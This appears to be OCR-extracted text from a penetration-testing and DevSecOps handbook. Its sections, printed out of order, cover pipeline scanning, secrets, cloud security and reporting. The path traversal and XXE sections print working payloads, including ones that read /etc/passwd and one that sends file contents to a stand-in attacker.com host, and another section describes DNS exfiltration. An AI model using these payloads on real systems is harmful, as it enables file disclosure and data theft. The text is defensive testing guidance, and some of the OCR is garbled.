False positive scoring: confidence levels indicate: likelihood of true positive. High confidence

(automated exploitation confirmed), medium (pattern matched), low (heuristic only).

Risk acceptance workflow: some risks are: accepted after analysis. Acceptance requires:

documented justification, approval authority, review date, and compensating controls.

Comparison benchmarking: compare risk scores to: industry benchmarks, organizational targets, and

peer organizations. Benchmarking provides: context for risk communication.

15.2 Incident Response Integration

Automated alerting: critical findings trigger: PagerDuty alerts, Slack notifications, and email
escalations. Alert routing: based on severity, service, and team ownership.

Playbook activation: specific vulnerability types trigger: predefined response playbooks. SQL
injection finding triggers: database credential rotation, WAF rule update, and code review.

Evidence preservation: when critical findings are discovered, automatically: capture logs, take
screenshots, record network traffic, and snapshot the vulnerable system.

War room creation: critical findings automatically: create incident channels in Slack/Teams, invite
relevant personnel, and provide finding details and remediation guidance.

Communication templates: pre-written templates for: internal notification, customer notification,
regulatory notification, and public disclosure. Templates ensure: consistent communication.

Remediation tracking: each finding is tracked from: discovery through remediation to verification.
Status: open, assigned, in-progress, remediated, verified. Dashboards show: progress.

Post-incident review: after remediation, conduct: root cause analysis, timeline reconstruction, and

lessons learned. Update: scanning rules, playbooks, and training based on findings.

Threat intelligence integration: findings are correlated with: threat intelligence feeds. Known attack
patterns increase: severity. Zero-day vulnerabilities trigger: emergency response.

Cross-team coordination: security findings that affect multiple teams are: centrally managed.
Coordination ensures: consistent remediation, shared context, and no duplicate effort.

Regulatory notification: findings involving regulated data trigger: notification workflows. GDPR (72
hours), HIPAA (60 days), PCI-DSS (immediate for compromised card data).
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2.3 Secrets Management in Pipelines

Secret types: API keys, database passwords, TLS certificates, SSH keys, OAuth tokens, and signing
keys. Each type has: different rotation frequency and exposure risk.

Vault integration: HashiCorp Vault provides: dynamic secrets (short-lived, auto-rotated), secret

versioning, and audit logging. Pipeline stages authenticate: via AppRole or JWT.

Environment variable injection: secrets are injected as: environment variables at runtime. Secrets

are: never written to disk, not logged, and masked in output.

Secret rotation: automated rotation on: schedule (30/60/90 days), on compromise detection, and on
personnel change. Rotation must be: zero-downtime with: overlap period.

Secret detection in code: pre-commit hooks scan for: entropy-based detection (high randomness
strings), pattern-based detection (AWS key format), and known secret formats.

Encrypted storage: secrets at rest are: encrypted with AES-256. Key management: cloud KMS (AWS
KMS, Azure Key Vault, GCP KMS), or: self-managed HSMs.

Access control: secrets are: scoped to specific pipelines, environments, and stages. Principle of least

privilege: each stage accesses only the secrets it needs.

Secret sprawl detection: inventory all secret locations: code repositories, CI/CD configurations,

container images, and configuration files. Consolidate: to a central secret store.

Break-glass procedures: emergency access to secrets when: normal authentication fails. Break-glass
requires: approval from multiple administrators, full audit logging, and time-limited access.

Secret zero problem: how does the pipeline authenticate to the secret store? Solutions: cloud 1AM
roles (no static credentials), OIDC federation, and trusted platform identity.

4.3 DAST Implementation Strategy

Target environment: DAST runs against: staging environments that mirror production. Staging must
have: same code, same configuration, and representative data. Never DAST against production.

Authenticated scanning: DAST tools authenticate as: different user roles. Login sequences: recorded
(Selenium), scripted (API tokens), or integrated (SSO). Role-based scanning tests: authorization.

Scan profiles: full scan (all checks, all paths - hours), quick scan (common vulnerabilities, main paths
- minutes), targeted scan (specific vulnerability type). Profile selection: based on pipeline stage.

Crawling strategy: breadth-first crawling discovers: maximum pages quickly. Depth-first crawling
explores: deep application flows. Hybrid: breadth-first with depth-limited deep paths.

JavaScript rendering: modern web applications require: browser-based crawling. Headless Chrome
or Firefox renders: JavaScript-heavy pages. Static crawlers miss: client-side routes.

API scanning integration: for APIl-heavy applications, combine: DAST web scanning with API
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scanning. OpenAPI specification drives: APl endpoint discovery and parameter fuzzing.

False positive reduction: DAST produces many false positives. Reduction: context-aware scanning
(understand application framework), confirmed exploitation (verify the vulnerability), and baseline

comparison.

Scan duration management: pipeline DAST has: time constraints. Strategies: progressive scanning
(deeper each day), incremental scanning (only changed areas), and parallel scanning (distribute
targets).

Passive scanning: proxy-based passive scanning analyzes: all traffic during functional testing.
Passive scanning catches: insecure headers, cookie flags, and information leakage without
additional requests.

DAST result correlation: correlate DAST findings with SAST findings. Same vulnerability found by
both: high confidence. DAST-only: may be configuration issue. SAST-only: may be unreachable.

5.4 Path Traversal Testing

Basic path traversal: ../../etc/passwd or ..\..\windows\win.ini. Test: URL parameters, file upload paths,
and configuration values that reference files.

Encoding bypass: URL encoding (%2e%2e%2f), double encoding (%252e%252e%252f), and
Unicode encoding (..%c0%af). Test: multiple encoding layers against input validation.

Null byte injection: ../../../etc/passwd%00.jpg. In some languages (C, PHP < 5.3.4): null byte

terminates string, bypassing extension checks.

OS-specific paths: Linux: /etc/passwd, /etc/shadow, /proc/self/environ. Windows: C:\windows\win.ini,
C:\boot.ini, \\server\share. Test: both path separator styles.

Application-specific paths: configuration files, log files, database files, and secret files specific to the
application framework. Research: framework-specific sensitive file locations.

Filter bypass: if ../ is filtered, test: ..../l..../l (double encoding after filter), .././../ (alternative traversal),
and absolute paths (/etc/passwd).

Archive extraction: zip/tar files with path traversal in filenames. Extracting ../../evil.sh writes: files
outside the extraction directory. Test: all file upload and extraction endpoints.

Symlink exploitation: upload a symbolic link that points to a sensitive file. When the server reads the

symlink: it accesses the target file. Test: symlink following in file operations.

Path traversal in headers: some applications use header values as file paths. Host header, Referer

header, and custom headers may be: used in file operations.

Remediation verification: verify that: path traversal is blocked by allowlisting, canonical path
comparison, and chroot/sandbox. Test: all bypass techniques after remediation.
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7.4 Mobile API Testing

Certificate pinning bypass: tools like Frida, objection, and ssl-kill-switch2 disable certificate pinning.

This enables: MITM proxy interception of API traffic.

API endpoint discovery: decompile mobile applications to find: APl endpoints, authentication

mechanisms, and hidden functionality. Tools: jadx (Android), Hopper (iOS).

Local storage testing: check for: sensitive data in: local databases (SQLite), shared preferences
(Android), Keychain (iOS), and temporary files. Data at rest should be: encrypted.

Token storage: verify that: authentication tokens are stored in: secure storage (Android Keystore,
iOS Keychain). Not in: shared preferences, NSUserDefaults, or local files.

Deep link testing: test for: deep links that bypass authentication, access unauthorized content, or
trigger unintended actions. Deep links: customscheme://path?params.

Biometric bypass: test for: biometric authentication bypass. If biometric auth checks: a local flag
rather than server-side validation, it can be: bypassed by modifying the flag.

Root/jailbreak detection bypass: applications may block rooted/jailbroken devices. Bypass with:

Magisk (Android root hiding), Liberty Lite (iOS jailbreak hiding). Test: detection effectiveness.

Clipboard exposure: sensitive data copied to clipboard is: accessible by all applications. Test for:

passwords, tokens, and credit card numbers copied to clipboard.

Intent interception (Android): test for: exported activities, services, and broadcast receivers that
accept: untrusted input. Malicious apps can: send crafted intents.

IPC testing (iOS): test for: URL schemes, Universal Links, and App Extensions that process:
untrusted data. Input validation must be: rigorous for all IPC endpoints.

9.4 Container Registry Security

Registry authentication: verify that: container registries require authentication for: pull and push
operations. Anonymous pull enables: reconnaissance. Anonymous push enables: image poisoning.

Image signing: verify that: all images are signed before deployment. Cosign/Sigstore provides:

keyless signing and verification. Admission controllers enforce: signature requirements.

Tag immutability: mutable tags (latest) can be overwritten. Immutable tags prevent: tag squatting
attacks. Use: digest-based references for deterministic deployments.

Vulnerability scanning: scan images in the registry before deployment. Gate: block deployment of
images with critical vulnerabilities. Continuous: re-scan stored images as new CVEs are discovered.

Base image management: maintain: approved base images with security updates. Track: base
image usage across all projects. Alert: when base images have known vulnerabilities.

Multi-stage build security: verify that: build-time secrets (API keys, credentials) are not present in the
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final image. Multi-stage builds should: discard intermediate layers.

Image layer analysis: analyze each layer for: sensitive files, installed packages, and configuration
changes. Tools: dive, container-diff. Layer analysis reveals: hidden content.

Registry access logging: verify that: all registry operations are logged. Pull operations reveal: who

accessed what image. Push operations reveal: who published what image.

Content trust: Docker Content Trust (DCT) ensures: image integrity and publisher identity. Enable:
DOCKER_CONTENT_TRUST=1. Verify: signatures before running images.

Private registry hardening: private registries should be: TLS-encrypted, access-controlled,
rate-limited, and backed up. Regular: vulnerability scanning of the registry software itself.

10.4 Infrastructure Drift Detection

Desired state vs actual state: Infrastructure as Code defines: desired state. Drift occurs when: actual
state diverges. Causes: manual changes, automated processes, and configuration management

failures.

Terraform drift detection: terraform plan detects: differences between state file and actual
infrastructure. Automated: periodic terraform plan runs report drift. Alert: on unexpected changes.

Security-relevant drift: focus detection on: security group changes, IAM policy changes, encryption
configuration, and logging configuration. Security drift is: highest priority.

Cloud configuration recording: AWS Config, Azure Policy, and GCP Cloud Asset Inventory record:
configuration changes over time. Enable: for all security-relevant resource types.

Automated remediation: when drift is detected, automatically: revert to desired state. Caution: verify
that remediation does not disrupt services. Staged: remediation with approval.

Drift prevention: use: cloud SCPs (Service Control Policies) to prevent: manual changes to managed
resources. IAM policies deny: console access to laC-managed resources.

Compliance drift: compliance configurations (encryption, logging, access controls) must not drift.

Continuous monitoring with: cloud-native tools and third-party scanners.

Multi-account drift: in multi-account architectures, drift can occur in: any account. Centralized: drift
detection across all accounts. Aggregated: dashboards for organizational view.

Container drift: running containers may drift from: their image definition. Runtime monitoring detects:

file system changes, process creation, and network connection changes.

Drift reporting: drift reports include: what changed, when it changed, who changed it (if available),
and the security impact. Reports feed into: risk scoring and compliance evidence.

13.4 Tekton Pipeline Integration
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Tekton tasks: define security scanning as Tekton Tasks. Tasks are: reusable, parameterized, and

version-controlled. Security tasks include: trivy-scanner, semgrep-scanner, nuclei-scanner.

Tekton pipelines: compose tasks into pipelines. Security pipeline: clone -> build -> scan -> test ->
deploy. Task dependencies ensure: correct execution order.

Tekton triggers: EventListeners receive: webhook events from Git providers. TriggerBindings extract:
parameters from events. TriggerTemplates create: PipelineRuns.

Tekton chains: supply chain security for Tekton. Chains provides: automatic signing of task results,

provenance attestation, and SLSA compliance. OCI image signing with cosign.

Task bundles: package Tekton tasks as OCI artifacts. Share: security scanning tasks across teams.

Version: task bundles for reproducible pipelines.

Results and workspaces: tasks communicate through: results (small values) and workspaces (shared
volumes). Scan results pass to: gate tasks via results. SARIF files pass via: workspaces.

Custom tasks: Lateralus-based security tools run as: custom Tekton tasks. Container images
include: the Lateralus binary. Task spec defines: parameters, workspaces, and results.

Dashboard integration: Tekton Dashboard shows: pipeline execution status, task logs, and results.
Security scan results are: visible in task logs and linked SARIF viewers.

Cluster-wide policies: Tekton Pipelines support: cluster-wide policies that require: security scanning
tasks in all pipelines. Policy enforcement ensures: no pipeline skips security.

Resource management: security scanning tasks have: CPU and memory limits. Resource requests

ensure: scanning does not starve other pipeline tasks. Limits prevent: resource abuse.

14.4 WASM-Based Security Tools

WASM compilation: compile Lateralus security tools to wasm32-wasi target. WASM binaries are:
portable, sandboxed, and small. Deploy: to any WASM runtime environment.

Cloudflare Workers deployment: security scanning tools deployed as Workers. Benefits: global

distribution, low latency, and serverless scaling. Use case: edge-based header scanning.

Browser-based scanning: WASM security tools run in: browser environments. Use case: client-side
security checks, local file scanning, and offline security assessment.

Plugin isolation: WASM provides: memory isolation between plugins. Malicious or buggy plugins

cannot: access host memory, file system, or network without explicit permissions.

Performance: WASM execution is: near-native speed. Lateralus WASM tools benchmarked: within
10%% of native performance for: parsing, pattern matching, and cryptographic operations.

Host interface: WASI provides: file system access, network access, and environment variables
through: capability-based security. Each tool receives: only the capabilities it needs.
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Module composition: combine multiple WASM security modules into: a scanning pipeline. Module
interface: standardized input/output formats (SARIF). Composition enables: tool chaining.

Hot reloading: WASM modules can be: updated without restarting the host. Security tool updates are:

deployed without pipeline downtime. Version rollback: instant.

Cross-platform distribution: single WASM binary runs on: Linux, macOS, Windows, and web
browsers. No platform-specific builds. Simplified: distribution and dependency management.

Size optimization: wasm-opt reduces: WASM binary size. Typical security tool: 2-5 MB as WASM vs

10-20 MB as native binary. Smaller: faster download and startup.

3.4 Technology Stack Fingerprinting

HTTP header analysis: Server header (nginx, Apache), X-Powered-By (PHP, ASP.NET), Set-Cookie

(session framework), and custom headers reveal: technology stack.

HTML source analysis: meta generators, JavaScript libraries, CSS frameworks, and comment
patterns reveal: frontend technology. Wappalyzer automates: technology detection.

Error page analysis: default error pages reveal: web server, application framework, and programming
language. Custom error pages should: not disclose technology details.

URL pattern analysis: file extensions (.php, .asp, .jsp), URL structures (/wp-admin, /api/vl), and

parameter names reveal: application framework and routing.

Cookie analysis: cookie names (JSESSIONID=Java, PHPSESSID=PHP,
ASP.NET_Sessionld=ASP.NET) and values (base64, JWT, serialized objects) reveal: technology

and session management.

TLS fingerprinting: JA3 fingerprint of TLS handshake reveals: client software. JARM fingerprint of

TLS server reveals: server software and configuration.

DNS fingerprint: DNS hosting provider, mail services (MX records), and SPF/DKIM records reveal:

email infrastructure and cloud providers.

JavaScript framework detection: React (data-reactroot), Angular (ng-version), Vue (data-v-), and

Next.js (_next/static) leave: detectable signatures in rendered HTML.

API technology detection: REST (resource URLs), GraphQL (/graphgl endpoint), gRPC (HTTP/2 +
application/grpc), and WebSocket (Upgrade: websocket) are: identifiable by request patterns.

Cloud provider detection: CNAME records, IP ranges, response headers, and TLS certificates reveal:
AWS, Azure, GCP, and Cloudflare hosting. Cloud provider determines: attack vectors.

6.4 Wireless and Physical Considerations

Scope limitations: pipeline-native testing focuses on: network-accessible attack surfaces. Wireless

and physical security require: on-site assessment by trained professionals.

Page 38



Pipeline-Native Penetration Testing

Wireless integration points: wireless networks that connect to: tested infrastructure are noted in:
reconnaissance output. Wireless assessment is: recommended as a separate engagement.

Physical security indicators: exposed management interfaces, IPMI/ILO accessibility, and serial
console access are: detectable from network scanning. Flag: for physical security review.

IoT device detection: network scanning discovers: 10T devices (cameras, sensors, controllers) on the
network. 10T devices often have: default credentials, no encryption, and no updates.

Bluetooth and BLE: Bluetooth-enabled devices are not: testable from the pipeline. However,

Bluetooth-exposed APIs (via gateway services) are: testable. Note: Bluetooth attack surface.

USB device policy: while not testable from pipelines, USB device policies affect: endpoint security.

Pipeline testing verifies: endpoint configuration management and MDM policies.

Social engineering: not automatable in pipelines. However, phishing simulation platforms (GoPhish,
KnowBe4) can be: triggered from pipelines on schedule. Track: phishing success rates.

Badge and access control: physical access control systems with network interfaces are: scannable.
Test: default credentials, unencrypted communication, and firmware vulnerabilities.

Environmental monitoring: data center environmental systems (HVAC, power, fire suppression) with
network management interfaces are: included in network scanning scope.

Hybrid assessment coordination: pipeline-native results inform physical assessment scope. High-risk
network findings near physical infrastructure trigger: prioritized physical review.

8.4 gRPC and Protocol Buffer Testing

gRPC reflection: test for: enabled reflection service. Reflection exposes: service definitions, method

signatures, and message types. Disable: reflection in production.

Protobuf message manipulation: deserialize protobuf messages, modify fields, and re-serialize. Test
for: missing server-side validation of message content.

Stream testing: gRPC supports: unary, server-streaming, client-streaming, and bidirectional

streaming. Test: each stream type for authentication, authorization, and resource limits.

Deadline testing: gRPC deadlines limit request duration. Test for: missing deadlines (resource

exhaustion), excessively long deadlines, and deadline propagation through service chains.

Interceptor bypass: gRPC interceptors handle: authentication and authorization. Test for: interceptor
bypass through: direct service calls, reflection API, and health check endpoints.

Load balancing security: gRPC client-side load balancing uses: DNS or custom resolvers. Test for:

DNS spoofing, resolver manipulation, and routing to unauthorized backends.

Channel security: verify that: gRPC channels use TLS. Test for: plaintext connections, TLS

downgrade, and certificate validation. mTLS provides: mutual authentication.
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Error information leakage: gRPC status codes and error details may expose: internal information.
Test: error messages for stack traces, database errors, and internal service hames.

Metadata testing: gRPC metadata (headers/trailers) may contain: authentication tokens, routing
information, and debug data. Test: metadata manipulation and injection.

Health check exploitation: gRPC health checking protocol may reveal: service status, version
information, and internal naming. Restrict: health check access to authorized clients.

11.4 Data Exfiltration Channels

DNS exfiltration: encode data in DNS query subdomains. data.chunkl.attacker.com. DNS queries
bypass: most firewalls. Detection: unusual DNS query patterns, long subdomains.

HTTPS exfiltration: standard HTTPS POST requests to attacker-controlled servers. Blends with:

normal traffic. Detection: domain reputation, traffic volume analysis, and TLS inspection.

ICMP tunneling: encode data in ICMP echo request/reply payloads. ICMP is often: allowed through
firewalls. Detection: ICMP payload analysis, unusual ICMP patterns.

Steganography: embed data in images, audio, or video files. Upload to: public services (social media,
file sharing). Detection: statistical analysis of media files.

Cloud storage exfiltration: upload data to: attacker's cloud storage using legitimate cloud APIs.
Blends with: normal cloud usage. Detection: DLP on cloud API calls.

Email exfiltration: send data as email attachments or inline content. Detection: email DLP,

attachment scanning, and outbound email monitoring.

Side channel exfiltration: use timing, cache, or power analysis to leak data. Applicable to: shared

infrastructure (cloud, containers). Detection: requires specialized monitoring.

Encrypted channel exfiltration: establish encrypted tunnels (SSH, VPN, TLS) to attacker
infrastructure. Detection: behavioral analysis, endpoint monitoring, and network flow analysis.

USB and removable media: while not pipeline-testable, verify: DLP policies for removable media,
USB device policies, and endpoint monitoring agents.

Exfiltration testing in pipeline: test DLP controls by attempting: small data exfiltration through each
channel. Verify: detection alerts fire, blocks engage, and evidence is captured.

12.4 Penetration Test Report Structure

Executive summary: 1-2 pages covering: engagement scope, high-level findings, risk rating, and

strategic recommendations. Audience: C-suite, board members, and non-technical stakeholders.

Methodology: describe testing methodology: reconnaissance, scanning, exploitation,
post-exploitation, and reporting phases. Reference: industry standards (OWASP, PTES, OSSTMM).
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Scope and limitations: document: in-scope targets, out-of-scope targets, testing timeframe, access
level, and limitations encountered. Scope defines: findings validity.

Finding detail template: title, severity (CVSS), description, affected systems, evidence (screenshots,
request/response), impact analysis, remediation steps, and references.

Risk matrix: visual summary of findings by: severity and likelihood. Heat map format: critical (red),
high (orange), medium (yellow), low (green). Matrix provides: quick risk overview.

Remediation roadmap: prioritized remediation plan with: short-term (quick wins), medium-term

(architectural changes), and long-term (strategic improvements). Timeline and resource estimates.

Technical appendix: raw scan output, full exploit evidence, and tool configuration. Appendix provides:

reproducibility evidence and detailed technical context.

Compliance mapping: map findings to: relevant compliance frameworks. Show: which controls failed,
which passed, and which are not applicable. Compliance mapping supports: audit evidence.

Re-testing recommendations: specify: which findings require re-testing, expected remediation
timeline, and re-test methodology. Re-testing confirms: effective remediation.

Automated report generation: pipeline tools generate: structured reports from SARIF and scan data.
Templates: LaTeX, Markdown, HTML, and PDF. Automated generation ensures: consistency.

2.4 Build System Security

Hermetic builds: build inputs are fully specified. No network access during build. All dependencies
are pre-fetched and cached. Hermetic builds prevent: supply chain injection.

Reproducible builds: same source produces: identical binary output. Reproducibility enables:
third-party verification of build integrity. Diffoscope compares: build outputs.

Build provenance: SLSA provenance attestations document: what was built, from what source, by
what builder, and with what parameters. Provenance is: signed and verifiable.

Sandboxed builds: builds run in: restricted environments (containers, VMs, namespaces). No access
to: host filesystem, network (except cached deps), or other builds.

Build cache security: build caches can be: poisoned with malicious artifacts. Verification: cache
entries are keyed by content hash. Signed caches prevent: cache poisoning.

Compiler security: use verified compiler binaries. Bootstrapping from: trusted toolchains. Compiler
version pinning. Compiler flags: enable all security mitigations.

Source verification: verify source integrity before building. Git commit signatures, branch protection,
and commit hash verification. Reject: unsigned or tampered source.

Build notification: notify team on: build success/failure, new dependency introduction, and security
scan results. Natifications provide: visibility into build health.

Page 41



Pipeline-Native Penetration Testing

Artifact signing: sign all build artifacts (binaries, container images, packages). Signing key
management: HSM-backed, rotated periodically, and access-controlled.

Build log retention: retain build logs for: compliance (1+ year), forensics, and debugging. Logs
include: all commands, inputs, outputs, and environment. Logs are: immutable.

4.4 Infrastructure Scanning Detail

Terraform scanning: tfsec and Checkov analyze Terraform HCL. Rules cover: encryption at rest,
public access, logging enabled, and security group rules. Scan: before apply.

Kubernetes manifest scanning: kube-linter, kubeaudit, and Polaris scan: YAML manifests. Rules

cover: privilege escalation, resource limits, security context, and network policies.

CloudFormation scanning: cfn-lint and cfn-nag scan AWS CloudFormation. Rules cover: S3
encryption, security groups, IAM policies, and VPC configuration.

Ansible playbook scanning: ansible-lint checks: playbook best practices. Custom rules check:

security configurations, secret handling, and privilege usage.

Docker Compose scanning: scan docker-compose.yml for: privileged mode, host network, volume
mounts, and capability additions. Compose scanning catches: development misconfigurations.

Helm chart scanning: scan Helm templates with: kube-linter after template rendering. Chart values:
check for default passwords, debug modes, and insecure configurations.

Policy as Code: OPA/Rego policies define: allowed infrastructure configurations. Conftest evaluates:
policies against configuration files. Policies are: version-controlled and tested.

Drift-from-code detection: compare deployed infrastructure to laC definitions. AWS Config rules,
Azure Policy, and GCP Organization Policy detect: configuration drift.

Compliance policies: CIS Benchmarks provide: configuration baselines for: AWS, Azure, GCP,
Kubernetes, and Docker. Automated: benchmark evaluation with scoring.

Custom rules: organization-specific rules enforce: naming conventions, tagging requirements, cost

optimization, and architectural standards. Custom rules: encoded in Rego or Python.

5.5 XXE (XML External Entity) Testing

Basic XXE: <IDOCTYPE foo [<IENTITY xxe SYSTEM ffile:///etc/passwd'>]><foo>&xxe;</foo>. If the

XML parser processes external entities: file contents are included in the response.

Blind XXE: no output in response. Use: out-of-band channel. <!ENTITY xxe SYSTEM

'http://attacker.com/?data=file:///etc/passwd'>. Monitor: attacker server for incoming requests.

Parameter entity XXE: <IDOCTYPE foo [RIENTITY %% pe SYSTEM
'http://attacker.com/evil.dtd'>%%pe;]>. Parameter entities enable: complex exploitation chains.
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XXE in file formats: XLSX (unzip, modify XML, rezip), DOCX, SVG, and other XML-based formats.
Applications processing: uploaded XML-based files may be: vulnerable.

XXE in SOAP: SOAP messages are XML. XXE payloads in: SOAP request bodies exploit: XML
parsing in web services. Test: all SOAP endpoints.

XXE denial of service: billion laughs attack: nested entity expansion. <IENTITY a0 'DOS'><!ENTITY
al '&a0;&a0;...>...<IENTITY a9 '&a8;&a8;...">. Exponential expansion: crashes parser.

SSRF via XXE: combine XXE with SSRF. External entity URL points to: internal services. <!IENTITY
xxe SYSTEM 'http://internal-service:8080/admin’>. Access: internal APIs.

XXE in JSON parsers: some parsers accept XML content-type. Change Content-Type from

application/json to application/xml and send: XXE payload.

XXE prevention: disable external entities in XML parser. Java:
setFeature(‘http://xml.org/sax/features/external-general-entities', false). Use: JSON instead of XML
where possible.

XXE testing automation: Nuclei templates for XXE: send payloads, detect out-of-band callbacks, and
verify file disclosure. Automated: across all XML-accepting endpoints.

7.5 CSRF Testing

CSREF basics: attacker crafts a request that: the victim's browser sends to the target application. The
browser includes: authentication cookies. The application processes: the forged request.

Token validation: verify that: anti-CSRF tokens are present in all state-changing forms, tokens are:
unique per session, tokens are: validated on the server, tokens are: not predictable.

SameSite cookie testing: SameSite=Lax prevents: CSRF for GET requests from cross-site.
SameSite=Strict prevents: all cross-site requests. SameSite=None: no protection.

Referer/Origin validation: verify that: Referer or Origin headers are checked for state-changing
requests. Test: missing headers, forged headers, and subdomain bypass.

JSON CSREF: test for: CSRF with JSON content-type. If the server accepts: application/json from
cross-origin requests without CORS preflight, CSRF is possible.

Login CSRF: test for: CSRF that logs the victim into the attacker's account. The attacker then

accesses: the victim's activity data. Login forms need: CSRF protection too.

Multi-step CSRF: test for: CSRF across multi-step workflows. If step 2 does not validate: the step 1
token, attackers can: skip directly to state-changing steps.

CSRF with file upload: test for: multipart form CSRF. File upload forms with: state-changing side
effects need CSRF protection. Test: cross-origin file upload submissions.

Flash/Silverlight CSRF: legacy technologies may enable: cross-origin requests that bypass SameSite
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cookies. Test for: crossdomain.xml misconfigurations.

CSRF in APIs: APl endpoints called by: JavaScript applications may be: vulnerable to CSRF if they
rely on: cookie authentication and lack CORS restrictions.

9.5 Service Mesh Security Testing

MTLS verification: verify that: all service-to-service communication uses mutual TLS. Test: can a
service communicate without a valid certificate? Istio PeerAuthentication enforces: mTLS.

Authorization policy testing: Istio AuthorizationPolicy controls: which services can communicate.

Test: policy bypass, missing policies, and overly permissive rules.

Traffic management security: test for: VirtualService routing manipulation, DestinationRule injection,

and gateway misconfiguration. Traffic rules affect: security boundaries.

Sidecar injection: verify that: sidecar proxy is injected in all pods. Missing sidecars bypass: mTLS
and authorization policies. Test: pods without sidecars.

External service access: verify that: ServiceEntry controls: which external services are accessible.
Missing ServiceEntry with outbound policy REGISTRY_ONLY blocks: all external access.

Envoy filter testing: custom Envoy filters may introduce: vulnerabilities. Test: filter bypass, filter

ordering issues, and filter configuration errors.

Observability exploitation: Prometheus metrics, Jaeger traces, and Kiali dashboards may expose:
sensitive information. Test: access controls on observability endpoints.

Certificate management: verify that: Citadel/cert-manager rotates certificates, certificate lifetime is
appropriate, and compromised certificates can be: revoked.

Multi-cluster mesh: in multi-cluster service meshes, verify: trust domain isolation, cross-cluster

authorization, and certificate authority hierarchy.

Mesh upgrade security: during mesh upgrades, verify: backward compatibility, no security policy
gaps, and proper certificate rollover. Upgrades should not: weaken security.

10.5 Cloud Logging and Monitoring Security

Log completeness: verify that: all security-relevant events are logged. Cloud provider logs: API calls
(CloudTrail, Activity Log, Audit Log), data access, and network flow.

Log integrity: verify that: logs are tamper-proof. CloudTrail log file validation, immutable storage (S3
Object Lock), and centralized logging (SIEM) prevent: log tampering.

Log retention: verify that: logs are retained for the required period. Compliance requirements: SOC 2
(1 year), PCI-DSS (1 year), SOX (7 years). Automated: lifecycle policies.

Alert configuration: verify that: alerts exist for: root account usage, IAM changes, security group
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changes, and failed authentication. Alerts should: trigger automated response.

SIEM integration: cloud logs feed into: SIEM (Splunk, Elasticsearch, Azure Sentinel). SIEM provides:
correlation, alerting, and investigation. Verify: log ingestion completeness.

Network flow logs: VPC Flow Logs (AWS), NSG Flow Logs (Azure), and VPC Flow Logs (GCP)
capture: network traffic metadata. Flow logs detect: unauthorized communication.

Application logging: application logs should include: authentication events, authorization decisions,

input validation failures, and security-relevant business events.

Log access control: verify that: log access is restricted to: security team and authorized personnel.
Unauthorized log access reveals: sensitive information and attack patterns.

Real-time monitoring: CloudWatch, Azure Monitor, and Cloud Monitoring provide: real-time metrics

and alerts. Verify: monitoring covers: all critical services and security metrics.

Cost monitoring: unexpected cost spikes may indicate: cryptomining, data exfiltration, or resource
abuse. Billing alerts detect: anomalous spending patterns.

13.5 Argo CD Integration

GitOps security: Argo CD deploys from Git. Git repository security is: paramount. Verify: branch
protection, commit signing, and access controls on deployment repositories.

Application security: Argo CD Applications define: source, destination, and sync policy. Verify:
applications cannot deploy to: unauthorized namespaces or clusters.

RBAC: Argo CD RBAC controls: who can sync, create, delete, and override applications. Verify:
least-privilege roles for developers, operators, and security team.

Secret management: Argo CD should not store secrets in Git. Use: Sealed Secrets, External Secrets

Operator, or Vault integration. Verify: no plaintext secrets in Git.

Sync policy: auto-sync deploys on every Git commit. Manual sync requires: approval before
deployment. Security scanning should complete: before sync approval.

Pre-sync hooks: Kubernetes Jobs that run before sync. Use: for security scanning, database
migration, and validation. Pre-sync hooks gate: deployment on scan results.

Diff visibility: Argo CD shows: differences between live and desired state. Security drift is: visible in
the diff. Review: diffs before approving sync.

Multi-tenancy: Argo CD AppProjects isolate: applications by team. Projects restrict: source repos,
destinations, and resources. Verify: project boundaries are: properly configured.

Notifications: Argo CD notifications trigger: alerts on sync success, failure, and health degradation.
Route: security-relevant notifications to the security team.

Audit trail: Argo CD records: all sync operations, overrides, and configuration changes. Audit trail
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provides: compliance evidence and forensic timeline.

14.5 Custom Rule Development

Rule specification: each security rule has: unique ID, severity, description, affected technologies,
detection logic, and remediation guidance. Rules are: version-controlled.

Detection logic patterns: string matching (simple), regex matching (flexible), AST pattern matching
(structural), dataflow analysis (semantic), and behavioral analysis (runtime).

Semgrep custom rules: YAML-based rules match AST patterns. Example: pattern:
subprocess.call($CMD, shell=True). Custom rules target: organization-specific patterns.

Nuclei custom templates: YAML-based vulnerability detection templates. Template sections: info

(metadata), requests (HTTP), matchers (response analysis), extractors (data capture).

OPA custom policies: Rego policies for infrastructure validation. Example: deny[msg] {
input.spec.containers|_].securityContext.privileged == true; msg = 'privileged containers denied' }.

Rule testing: each rule has: positive tests (should detect), negative tests (should not detect), and
edge case tests. Test-driven rule development ensures: accuracy.

False positive tuning: after deployment, monitor: false positive rate. Tune rules: add exceptions,
refine patterns, and adjust severity. Iterative tuning improves: signal-to-noise.

Rule sharing: share rules within the organization and with the community. Rule repositories: internal
wiki, GitHub, and tool-specific hubs (Semgrep Registry, Nuclei Templates).

Rule lifecycle: rules progress through: draft (development), review (peer approval), active (deployed),
and deprecated (replaced or obsolete). Lifecycle management ensures: quality.

Rule effectiveness metrics: track: true positive rate, false positive rate, detection coverage, and mean

time to detection. Metrics guide: rule improvement priorities.

15.3 Training and Culture

Security champions: embed security advocates in each development team. Champions: review code
for security, triage scan findings, and promote security awareness.

CTF exercises: regular capture-the-flag competitions build: offensive security skills. CTF challenges

based on: real vulnerabilities found in pipelines. Gamification: increases engagement.

Secure coding training: mandatory annual training covering: OWASP Top 10, secure coding
practices, and language-specific security (Lateralus ownership model prevents memory

vulnerabilities).

Threat modeling workshops: teams collaboratively identify: threats to their services. Workshops
produce: threat models that inform: scanning configurations and test priorities.
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Blameless post-mortems: after security incidents, conduct: blameless retrospectives focused on:
system improvements, not individual blame. Blameless culture: encourages reporting.

Security metrics transparency: share: vulnerability trends, remediation times, and risk scores with all
teams. Transparency creates: shared ownership of security outcomes.

DevSecOps maturity assessment: regularly assess: pipeline security maturity. Maturity levels: initial,
managed, defined, measured, optimized. Assessment drives: improvement roadmap.

Knowledge base: maintain: internal security knowledge base with: past incidents, remediation

patterns, tool guides, and best practices. Knowledge base reduces: repeated mistakes.

External engagement: participate in: bug bounty programs, security conferences, and open source

security projects. External engagement brings: fresh perspectives and industry connections.

Continuous improvement: regularly review: scanning tools, rules, processes, and metrics. Replace:

underperforming tools. Add: new detection capabilities. Adapt: to evolving threats.

2.5 Zero Trust Pipeline Architecture

Zero trust principles: never trust, always verify. Every pipeline component: authenticates, authorizes,
and encrypts. No implicit trust based on: network location or build phase.

Identity verification: every pipeline actor (developer, Cl system, deployment tool) has: a verified
identity. Identities are: short-lived, least-privilege, and auditable.

Artifact verification: every artifact is: signed at creation, verified at every handoff, and validated before

